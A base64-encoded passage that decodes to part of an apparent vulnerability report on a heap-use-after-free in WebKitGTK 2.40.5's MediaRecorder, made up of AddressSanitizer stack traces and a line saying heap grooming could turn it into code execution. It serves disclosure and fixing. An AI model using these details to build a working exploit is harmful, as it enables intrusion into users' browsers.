VEY6OkxvY2s+Ojp+TG9ja2VyKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1k ZWJ1Zy9idWlsZC9XVEYvSGVhZGVycy93dGYvTG9jay5oOjE2ODoyMAogICAgIzYgMHg3ZjA2NmU4 OWQ2ZTAgaW4gV2ViQ29yZTo6TWVkaWFSZWNvcmRlclByaXZhdGVHU3RyZWFtZXI6OmZldGNoRGF0 YShXVEY6OkNvbXBsZXRpb25IYW5kbGVyPHZvaWQgKFdURjo6UmVmUHRyPFdlYkNvcmU6OkZyYWdt ZW50ZWRTaGFyZWRCdWZmZXIsIFdURjo6UmF3UHRyVHJhaXRzPFdlYkNvcmU6OkZyYWdtZW50ZWRT aGFyZWRCdWZmZXI+LCBXVEY6OkRlZmF1bHRSZWZEZXJlZlRyYWl0czxXZWJDb3JlOjpGcmFnbWVu dGVkU2hhcmVkQnVmZmVyPiA+JiYsIFdURjo6U3RyaW5nIGNvbnN0JiwgZG91YmxlKT4mJikgL2Z1 enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9wbGF0 Zm9ybS9tZWRpYXJlY29yZGVyL01lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyLmNwcDoxMTc6 MQogICAgIzcgMHg3ZjA2NzBmYWM2YmMgaW4gV2ViQ29yZTo6TWVkaWFSZWNvcmRlcjo6ZmV0Y2hE YXRhKFdURjo6RnVuY3Rpb248dm9pZCAoV1RGOjpSZWZQdHI8V2ViQ29yZTo6RnJhZ21lbnRlZFNo YXJlZEJ1ZmZlciwgV1RGOjpSYXdQdHJUcmFpdHM8V2ViQ29yZTo6RnJhZ21lbnRlZFNoYXJlZEJ1 ZmZlcj4sIFdURjo6RGVmYXVsdFJlZkRlcmVmVHJhaXRzPFdlYkNvcmU6OkZyYWdtZW50ZWRTaGFy ZWRCdWZmZXI+ID4mJiwgV1RGOjpTdHJpbmcgY29uc3QmLCBkb3VibGUpPiYmLCBXZWJDb3JlOjpN ZWRpYVJlY29yZGVyOjpUYWtlUHJpdmF0ZVJlY29yZGVyKSAvZnV6emluZy9icm93c2Vycy93ZWJr aXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL01vZHVsZXMvbWVkaWFyZWNvcmRlci9N ZWRpYVJlY29yZGVyLmNwcDozMTI6MjEKICAgICM4IDB4N2YwNjcwZmFjMDhmIGluIFdlYkNvcmU6 Ok1lZGlhUmVjb3JkZXI6OnN0b3BSZWNvcmRpbmcoKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRn dGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL01vZHVsZXMvbWVkaWFyZWNvcmRlci9NZWRp YVJlY29yZGVyLmNwcDoyMTc6NQogICAgIzkgMHg3ZjA2NmZkNTY4YjIgaW4gV2ViQ29yZTo6anNN ZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3RvcEJvZHkoSlNDOjpKU0dsb2JhbE9iamVj dCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKik6OidsYW1iZGEn KCk6Om9wZXJhdG9yKCkoKSBjb25zdCAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41 LWRlYnVnL2J1aWxkL1dlYkNvcmUvRGVyaXZlZFNvdXJjZXMvSlNNZWRpYVJlY29yZGVyLmNwcDo2 MTA6NQogICAgIzEwIDB4N2YwNjZmZDU2OGIyIGluIEpTQzo6SlNWYWx1ZSBXZWJDb3JlOjp0b0pT PFdlYkNvcmU6OklETFVuZGVmaW5lZCwgV2ViQ29yZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBl RnVuY3Rpb25fc3RvcEJvZHkoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6Q2FsbEZyYW1lKiwg V2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKik6OidsYW1iZGEnKCk+KEpTQzo6SlNHbG9iYWxPYmpl Y3QmLCBKU0M6OlRocm93U2NvcGUmLCBXZWJDb3JlOjpqc01lZGlhUmVjb3JkZXJQcm90b3R5cGVG dW5jdGlvbl9zdG9wQm9keShKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJhbWUqLCBX ZWJDb3JlOjpKU01lZGlhUmVjb3JkZXIqKTo6J2xhbWJkYScoKSYmKSAvZnV6emluZy9icm93c2Vy cy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2JpbmRpbmdzL2pzL0pTRE9N Q29udmVydEJhc2UuaDoxNjU6MTMKICAgICMxMSAweDdmMDY2ZmQ1NjhiMiBpbiBXZWJDb3JlOjpq c01lZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdG9wQm9keShKU0M6OkpTR2xvYmFsT2Jq ZWN0KiwgSlNDOjpDYWxsRnJhbWUqLCBXZWJDb3JlOjpKU01lZGlhUmVjb3JkZXIqKSAvZnV6emlu Zy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dlYkNvcmUvRGVyaXZlZFNv dXJjZXMvSlNNZWRpYVJlY29yZGVyLmNwcDo2MTA6NQogICAgIzEyIDB4N2YwNjZmZDU2OGIyIGlu IGxvbmcgV2ViQ29yZTo6SURMT3BlcmF0aW9uPFdlYkNvcmU6OkpTTWVkaWFSZWNvcmRlcj46OmNh bGw8JihXZWJDb3JlOjpqc01lZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdG9wQm9keShK U0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJhbWUqLCBXZWJDb3JlOjpKU01lZGlhUmVj b3JkZXIqKSksIChXZWJDb3JlOjpDYXN0ZWRUaGlzRXJyb3JCZWhhdmlvcikwPihKU0M6OkpTR2xv YmFsT2JqZWN0JiwgSlNDOjpDYWxsRnJhbWUmLCBjaGFyIGNvbnN0KikgL2Z1enppbmcvYnJvd3Nl cnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9iaW5kaW5ncy9qcy9KU0RP TU9wZXJhdGlvbi5oOjYzOjkKICAgICMxMyAweDdmMDY2ZmQ1NjhiMiBpbiBXZWJDb3JlOjpqc01l ZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdG9wKEpTQzo6SlNHbG9iYWxPYmplY3QqLCBK U0M6OkNhbGxGcmFtZSopIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcv YnVpbGQvV2ViQ29yZS9EZXJpdmVkU291cmNlcy9KU01lZGlhUmVjb3JkZXIuY3BwOjYxNToxMgog ICAgIzE0IDB4N2YwNjFjMmI0MDM3ICAoPHVua25vd24gbW9kdWxlPikKClByb3BlciBoZWFwIGdy b29taW5nLCBhbmQgYWRkaXRpb25hbCBwcmVjaXNlbHkgdGltZWQgSmF2YVNjcmlwdCBjb2RlLCBj YW4gZ2l2ZSBhbiBhdHRhY2tlciBmdWxsIGNvbnRyb2wgb2YgdGhpcyB1c2UtYWZ0ZXItZnJlZSB2 dWxuZXJhYmlsaXR5IHJlc3VsdGluZyBpbiBhcmJpdHJhcnkgY29kZSBleGVjdXRpb24uCkNyYXNo IEluZm9ybWF0aW9uCgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQo9PTk4ODc9PUVSUk9SOiBBZGRyZXNzU2FuaXRpemVyOiBo ZWFwLXVzZS1hZnRlci1mcmVlIG9uIGFkZHJlc3MgMHg2MGYwMDAwZmIwMTggYXQgcGMgMHg3ZjA2 NmU4OWQ2ZTEgYnAgMHg3ZmZlYTI3ZDYwMTAgc3AgMHg3ZmZlYTI3ZDYwMDgKV1JJVEUgb2Ygc2l6 ZSAxIGF0IDB4NjBmMDAwMGZiMDE4IHRocmVhZCBUMAogICAgIzAgMHg3ZjA2NmU4OWQ2ZTAgaW4g c3RkOjpfX2F0b21pY19iYXNlPHVuc2lnbmVkIGNoYXI+Ojpjb21wYXJlX2V4Y2hhbmdlX3dlYWso dW5zaWduZWQgY2hhciYsIHVuc2lnbmVkIGNoYXIsIHN0ZDo6bWVtb3J5X29yZGVyLCBzdGQ6Om1l bW9yeV9vcmRlcikgL3Vzci9iaW4vLi4vbGliL2djYy94ODZfNjQtbGludXgtZ251LzExLy4uLy4u Ly4uLy4uL2luY2x1ZGUvYysrLzExL2JpdHMvYXRvbWljX2Jhc2UuaDo1MjI6OQogICAgIzEgMHg3 ZjA2NmU4OWQ2ZTAgaW4gc3RkOjpfX2F0b21pY19iYXNlPHVuc2lnbmVkIGNoYXI+Ojpjb21wYXJl X2V4Y2hhbmdlX3dlYWsodW5zaWduZWQgY2hhciYsIHVuc2lnbmVkIGNoYXIsIHN0ZDo6bWVtb3J5 X29yZGVyKSAvdXNyL2Jpbi8uLi9saWIvZ2NjL3g4Nl82NC1saW51eC1nbnUvMTEvLi4vLi4vLi4v Li4vaW5jbHVkZS9jKysvMTEvYml0cy9hdG9taWNfYmFzZS5oOjU0Nzo5CiAgICAjMiAweDdmMDY2 ZTg5ZDZlMCBpbiBXVEY6OkF0b21pYzx1bnNpZ25lZCBjaGFyPjo6Y29tcGFyZUV4Y2hhbmdlV2Vh ayh1bnNpZ25lZCBjaGFyLCB1bnNpZ25lZCBjaGFyLCBzdGQ6Om1lbW9yeV9vcmRlcikgL2Z1enpp bmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWlsZC9XVEYvSGVhZGVycy93dGYv QXRvbWljcy5oOjg5OjIyCiAgICAjMyAweDdmMDY2ZTg5ZDZlMCBpbiBXVEY6OkxvY2tBbGdvcml0 aG08dW5zaWduZWQgY2hhciwgKHVuc2lnbmVkIGNoYXIpMSwgKHVuc2lnbmVkIGNoYXIpMiwgV1RG OjpFbXB0eUxvY2tIb29rczx1bnNpZ25lZCBjaGFyPiA+Ojp1bmxvY2tGYXN0QXNzdW1pbmdaZXJv KFdURjo6QXRvbWljPHVuc2lnbmVkIGNoYXI+JikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3Rr LTIuNDAuNS1kZWJ1Zy9idWlsZC9XVEYvSGVhZGVycy93dGYvTG9ja0FsZ29yaXRobS5oOjg4OjIx CiAgICAjNCAweDdmMDY2ZTg5ZDZlMCBpbiBXVEY6OkxvY2s6OnVubG9jaygpIC9mdXp6aW5nL2Jy b3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvYnVpbGQvV1RGL0hlYWRlcnMvd3RmL0xvY2su aDo5MjoxMwogICAgIzUgMHg3ZjA2NmU4OWQ2ZTAgaW4gV1RGOjpMb2NrZXI8V1RGOjpMb2NrPjo6 fkxvY2tlcigpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvYnVpbGQv V1RGL0hlYWRlcnMvd3RmL0xvY2suaDoxNjg6MjAKICAgICM2IDB4N2YwNjZlODlkNmUwIGluIFdl YkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyOjpmZXRjaERhdGEoV1RGOjpDb21w bGV0aW9uSGFuZGxlcjx2b2lkIChXVEY6OlJlZlB0cjxXZWJDb3JlOjpGcmFnbWVudGVkU2hhcmVk QnVmZmVyLCBXVEY6OlJhd1B0clRyYWl0czxXZWJDb3JlOjpGcmFnbWVudGVkU2hhcmVkQnVmZmVy PiwgV1RGOjpEZWZhdWx0UmVmRGVyZWZUcmFpdHM8V2ViQ29yZTo6RnJhZ21lbnRlZFNoYXJlZEJ1 ZmZlcj4gPiYmLCBXVEY6OlN0cmluZyBjb25zdCYsIGRvdWJsZSk+JiYpIC9mdXp6aW5nL2Jyb3dz ZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvcGxhdGZvcm0vbWVkaWFy ZWNvcmRlci9NZWRpYVJlY29yZGVyUHJpdmF0ZUdTdHJlYW1lci5jcHA6MTE3OjEKICAgICM3IDB4 N2YwNjcwZmFjNmJjIGluIFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXI6OmZldGNoRGF0YShXVEY6OkZ1 bmN0aW9uPHZvaWQgKFdURjo6UmVmUHRyPFdlYkNvcmU6OkZyYWdtZW50ZWRTaGFyZWRCdWZmZXIs IFdURjo6UmF3UHRyVHJhaXRzPFdlYkNvcmU6OkZyYWdtZW50ZWRTaGFyZWRCdWZmZXI+LCBXVEY6 OkRlZmF1bHRSZWZEZXJlZlRyYWl0czxXZWJDb3JlOjpGcmFnbWVudGVkU2hhcmVkQnVmZmVyPiA+ JiYsIFdURjo6U3RyaW5nIGNvbnN0JiwgZG91YmxlKT4mJiwgV2ViQ29yZTo6TWVkaWFSZWNvcmRl cjo6VGFrZVByaXZhdGVSZWNvcmRlcikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAu NS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9Nb2R1bGVzL21lZGlhcmVjb3JkZXIvTWVkaWFSZWNvcmRl ci5jcHA6MzEyOjIxCiAgICAjOCAweDdmMDY3MGZhYzA4ZiBpbiBXZWJDb3JlOjpNZWRpYVJlY29y ZGVyOjpzdG9wUmVjb3JkaW5nKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1k ZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9Nb2R1bGVzL21lZGlhcmVjb3JkZXIvTWVkaWFSZWNvcmRlci5j cHA6MjE3OjUKICAgICM5IDB4N2YwNjZmZDU2OGIyIGluIFdlYkNvcmU6OmpzTWVkaWFSZWNvcmRl clByb3RvdHlwZUZ1bmN0aW9uX3N0b3BCb2R5KEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkNh bGxGcmFtZSosIFdlYkNvcmU6OkpTTWVkaWFSZWNvcmRlciopOjonbGFtYmRhJygpOjpvcGVyYXRv cigpKCkgY29uc3QgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWls ZC9XZWJDb3JlL0Rlcml2ZWRTb3VyY2VzL0pTTWVkaWFSZWNvcmRlci5jcHA6NjEwOjUKICAgICMx MCAweDdmMDY2ZmQ1NjhiMiBpbiBKU0M6OkpTVmFsdWUgV2ViQ29yZTo6dG9KUzxXZWJDb3JlOjpJ RExVbmRlZmluZWQsIFdlYkNvcmU6OmpzTWVkaWFSZWNvcmRlclByb3RvdHlwZUZ1bmN0aW9uX3N0 b3BCb2R5KEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkNhbGxGcmFtZSosIFdlYkNvcmU6OkpT TWVkaWFSZWNvcmRlciopOjonbGFtYmRhJygpPihKU0M6OkpTR2xvYmFsT2JqZWN0JiwgSlNDOjpU aHJvd1Njb3BlJiwgV2ViQ29yZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3Rv cEJvZHkoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNN ZWRpYVJlY29yZGVyKik6OidsYW1iZGEnKCkmJikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3Rr LTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9iaW5kaW5ncy9qcy9KU0RPTUNvbnZlcnRCYXNl Lmg6MTY1OjEzCiAgICAjMTEgMHg3ZjA2NmZkNTY4YjIgaW4gV2ViQ29yZTo6anNNZWRpYVJlY29y ZGVyUHJvdG90eXBlRnVuY3Rpb25fc3RvcEJvZHkoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6 Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKikgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWlsZC9XZWJDb3JlL0Rlcml2ZWRTb3VyY2VzL0pTTWVk aWFSZWNvcmRlci5jcHA6NjEwOjUKICAgICMxMiAweDdmMDY2ZmQ1NjhiMiBpbiBsb25nIFdlYkNv cmU6OklETE9wZXJhdGlvbjxXZWJDb3JlOjpKU01lZGlhUmVjb3JkZXI+OjpjYWxsPCYoV2ViQ29y ZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3RvcEJvZHkoSlNDOjpKU0dsb2Jh bE9iamVjdCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKikpLCAo V2ViQ29yZTo6Q2FzdGVkVGhpc0Vycm9yQmVoYXZpb3IpMD4oSlNDOjpKU0dsb2JhbE9iamVjdCYs IEpTQzo6Q2FsbEZyYW1lJiwgY2hhciBjb25zdCopIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0 ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvYmluZGluZ3MvanMvSlNET01PcGVyYXRpb24u aDo2Mzo5CiAgICAjMTMgMHg3ZjA2NmZkNTY4YjIgaW4gV2ViQ29yZTo6anNNZWRpYVJlY29yZGVy UHJvdG90eXBlRnVuY3Rpb25fc3RvcChKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJh bWUqKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dlYkNv cmUvRGVyaXZlZFNvdXJjZXMvSlNNZWRpYVJlY29yZGVyLmNwcDo2MTU6MTIKICAgICMxNCAweDdm MDYxYzJiNDAzNyAgKDx1bmtub3duIG1vZHVsZT4pCgoweDYwZjAwMDBmYjAxOCBpcyBsb2NhdGVk IDEzNiBieXRlcyBpbnNpZGUgb2YgMTY4LWJ5dGUgcmVnaW9uIFsweDYwZjAwMDBmYWY5MCwweDYw ZjAwMDBmYjAzOCkKZnJlZWQgYnkgdGhyZWFkIFQwIGhlcmU6CiAgICAjMCAweDU2MjE0MGY0ZWVi MiBpbiBfX2ludGVyY2VwdG9yX2ZyZWUgKC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQw LjUtZGVidWcvYnVpbGQvbGliZXhlYy93ZWJraXQyZ3RrLTQuMS9XZWJLaXRXZWJQcm9jZXNzKzB4 YTBlYjIpIChCdWlsZElkOiBkNmQ4ODBmZjkyNzk2ZWQ0ZjYwOTdhNTc1MDVkY2E3ZWY3NDM5MjU5 KQogICAgIzEgMHg3ZjA2NjlmOTVjZjIgaW4gcGFzX3RyeV9kZWFsbG9jYXRlX25vdF9zbWFsbF9l eGNsdXNpdmVfc2VncmVnYXRlZChwYXNfdGhyZWFkX2xvY2FsX2NhY2hlKiwgdW5zaWduZWQgbG9u ZywgcGFzX2hlYXBfY29uZmlnLCBwYXNfZGVhbGxvY2F0aW9uX21vZGUsIHBhc19mYXN0X21lZ2Fw YWdlX2tpbmQpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNl L2JtYWxsb2MvbGlicGFzL3NyYy9saWJwYXMvcGFzX2RlYWxsb2NhdGUuaDoxMDQ6OQogICAgIzIg MHg3ZjA2NjlmOTVjZjIgaW4gYm1hbGxvY19oZWFwX2NvbmZpZ19zcGVjaWFsaXplZF90cnlfZGVh bGxvY2F0ZV9ub3Rfc21hbGxfZXhjbHVzaXZlX3NlZ3JlZ2F0ZWQgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvYm1hbGxvYy9saWJwYXMvc3JjL2xpYnBhcy9i bWFsbG9jX2hlYXBfY29uZmlnLmM6NDM6MQoKcHJldmlvdXNseSBhbGxvY2F0ZWQgYnkgdGhyZWFk IFQwIGhlcmU6CiAgICAjMCAweDU2MjE0MGY0ZjE1ZSBpbiBtYWxsb2MgKC9mdXp6aW5nL2Jyb3dz ZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvYnVpbGQvbGliZXhlYy93ZWJraXQyZ3RrLTQuMS9X ZWJLaXRXZWJQcm9jZXNzKzB4YTExNWUpIChCdWlsZElkOiBkNmQ4ODBmZjkyNzk2ZWQ0ZjYwOTdh NTc1MDVkY2E3ZWY3NDM5MjU5KQogICAgIzEgMHg3ZjA2NjlmNGJkMGIgaW4gcGFzX3RyeV9hbGxv Y2F0ZV9pbnRyaW5zaWNfaW1wbF9jYXN1YWxfY2FzZShfX3Bhc19oZWFwKiwgdW5zaWduZWQgbG9u ZywgdW5zaWduZWQgbG9uZywgcGFzX2ludHJpbnNpY19oZWFwX3N1cHBvcnQqLCBwYXNfaGVhcF9j b25maWcsIHBhc19hbGxvY2F0aW9uX3Jlc3VsdCAoKikocGFzX2xvY2FsX2FsbG9jYXRvciosIHVu c2lnbmVkIGxvbmcsIHVuc2lnbmVkIGxvbmcpLCBwYXNfYWxsb2NhdGlvbl9yZXN1bHQgKCopKF9f cGFzX2hlYXBfcmVmKiwgdW5zaWduZWQgbG9uZywgdW5zaWduZWQgbG9uZyksIHBhc19pbnRyaW5z aWNfaGVhcF9kZXNpZ25hdGlvbl9tb2RlKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40 MC41LWRlYnVnL1NvdXJjZS9ibWFsbG9jL2xpYnBhcy9zcmMvbGlicGFzL3Bhc19sb2NhbF9hbGxv Y2F0b3JfaW5saW5lcy5oCiAgICAjMiAweDdmMDY2OWY0YmQwYiBpbiBibWFsbG9jX2FsbG9jYXRl X2ltcGxfY2FzdWFsX2Nhc2UodW5zaWduZWQgbG9uZywgdW5zaWduZWQgbG9uZykgL2Z1enppbmcv YnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvYm1hbGxvYy9saWJwYXMvc3Jj L2xpYnBhcy9ibWFsbG9jX2hlYXBfaW5saW5lcy5oOjY5OjEKICAgICMzIDB4N2YwNjZlODliNmM4 IGluIFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyOjpvcGVyYXRvciBuZXco dW5zaWduZWQgbG9uZykgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9T b3VyY2UvV2ViQ29yZS9wbGF0Zm9ybS9tZWRpYXJlY29yZGVyL01lZGlhUmVjb3JkZXJQcml2YXRl R1N0cmVhbWVyLmg6NDE6NQogICAgIzQgMHg3ZjA2NmU4OWI2YzggaW4gc3RkOjpfTWFrZVVuaXE8 V2ViQ29yZTo6TWVkaWFSZWNvcmRlclByaXZhdGVHU3RyZWFtZXI+OjpfX3NpbmdsZV9vYmplY3Qg c3RkOjptYWtlX3VuaXF1ZTxXZWJDb3JlOjpNZWRpYVJlY29yZGVyUHJpdmF0ZUdTdHJlYW1lciwg V2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29yZTo6TWVkaWFSZWNvcmRlclByaXZh dGVPcHRpb25zIGNvbnN0Jj4oV2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29yZTo6 TWVkaWFSZWNvcmRlclByaXZhdGVPcHRpb25zIGNvbnN0JikgL3Vzci9iaW4vLi4vbGliL2djYy94 ODZfNjQtbGludXgtZ251LzExLy4uLy4uLy4uLy4uL2luY2x1ZGUvYysrLzExL2JpdHMvdW5pcXVl X3B0ci5oOjk2MjozMAogICAgIzUgMHg3ZjA2NmU4OWI2YzggaW4gZGVjbHR5cGUoYXV0bykgV1RG OjptYWtlVW5pcXVlPFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyLCBXZWJD b3JlOjpNZWRpYVN0cmVhbVByaXZhdGUmLCBXZWJDb3JlOjpNZWRpYVJlY29yZGVyUHJpdmF0ZU9w dGlvbnMgY29uc3QmPihXZWJDb3JlOjpNZWRpYVN0cmVhbVByaXZhdGUmLCBXZWJDb3JlOjpNZWRp YVJlY29yZGVyUHJpdmF0ZU9wdGlvbnMgY29uc3QmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRn dGstMi40MC41LWRlYnVnL2J1aWxkL1dURi9IZWFkZXJzL3d0Zi9TdGRMaWJFeHRyYXMuaDo1Njk6 MTIKICAgICM2IDB4N2YwNjZlODliNmM4IGluIFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRl R1N0cmVhbWVyOjpjcmVhdGUoV2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29yZTo6 TWVkaWFSZWNvcmRlclByaXZhdGVPcHRpb25zIGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMvd2Vi a2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9wbGF0Zm9ybS9tZWRpYXJlY29yZGVy L01lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyLmNwcDo0OToyMQogICAgIzcgMHg3ZjA2NzBm ZDJiY2UgaW4gV2ViQ29yZTo6TWVkaWFSZWNvcmRlclByb3ZpZGVyOjpjcmVhdGVNZWRpYVJlY29y ZGVyUHJpdmF0ZShXZWJDb3JlOjpNZWRpYVN0cmVhbVByaXZhdGUmLCBXZWJDb3JlOjpNZWRpYVJl Y29yZGVyUHJpdmF0ZU9wdGlvbnMgY29uc3QmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGst Mi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL01vZHVsZXMvbWVkaWFyZWNvcmRlci9NZWRpYVJl Y29yZGVyUHJvdmlkZXIuY3BwOjUxOjEyCiAgICAjOCAweDdmMDY3MGZhN2FlMCBpbiBXZWJDb3Jl OjpNZWRpYVJlY29yZGVyOjpjcmVhdGVNZWRpYVJlY29yZGVyUHJpdmF0ZShXZWJDb3JlOjpEb2N1 bWVudCYsIFdlYkNvcmU6Ok1lZGlhU3RyZWFtUHJpdmF0ZSYsIFdlYkNvcmU6Ok1lZGlhUmVjb3Jk ZXJQcml2YXRlT3B0aW9ucyBjb25zdCYpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQw LjUtZGVidWcvU291cmNlL1dlYkNvcmUvTW9kdWxlcy9tZWRpYXJlY29yZGVyL01lZGlhUmVjb3Jk ZXIuY3BwOjkxOjQ5CiAgICAjOSAweDdmMDY3MGZhYjE5YSBpbiBXZWJDb3JlOjpNZWRpYVJlY29y ZGVyOjpzdGFydFJlY29yZGluZyhzdGQ6Om9wdGlvbmFsPHVuc2lnbmVkIGludD4pIC9mdXp6aW5n L2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvTW9kdWxlcy9t ZWRpYXJlY29yZGVyL01lZGlhUmVjb3JkZXIuY3BwOjE2MjoxOQogICAgIzEwIDB4N2YwNjZmZDU2 MjgwIGluIFdlYkNvcmU6OmpzTWVkaWFSZWNvcmRlclByb3RvdHlwZUZ1bmN0aW9uX3N0YXJ0Qm9k eShKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJhbWUqLCBXZWJDb3JlOjpKU01lZGlh UmVjb3JkZXIqKTo6J2xhbWJkYScoKTo6b3BlcmF0b3IoKSgpIGNvbnN0IC9mdXp6aW5nL2Jyb3dz ZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvYnVpbGQvV2ViQ29yZS9EZXJpdmVkU291cmNlcy9K U01lZGlhUmVjb3JkZXIuY3BwOjU5NTo1CiAgICAjMTEgMHg3ZjA2NmZkNTYyODAgaW4gSlNDOjpK U1ZhbHVlIFdlYkNvcmU6OnRvSlM8V2ViQ29yZTo6SURMVW5kZWZpbmVkLCBXZWJDb3JlOjpqc01l ZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdGFydEJvZHkoSlNDOjpKU0dsb2JhbE9iamVj dCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKik6OidsYW1iZGEn KCk+KEpTQzo6SlNHbG9iYWxPYmplY3QmLCBKU0M6OlRocm93U2NvcGUmLCBXZWJDb3JlOjpqc01l ZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdGFydEJvZHkoSlNDOjpKU0dsb2JhbE9iamVj dCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKik6OidsYW1iZGEn KCkmJikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2Vi Q29yZS9iaW5kaW5ncy9qcy9KU0RPTUNvbnZlcnRCYXNlLmg6MTY4OjI3CiAgICAjMTIgMHg3ZjA2 NmZkNTYyODAgaW4gV2ViQ29yZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3Rh cnRCb2R5KEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkNhbGxGcmFtZSosIFdlYkNvcmU6OkpT TWVkaWFSZWNvcmRlciopIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcv 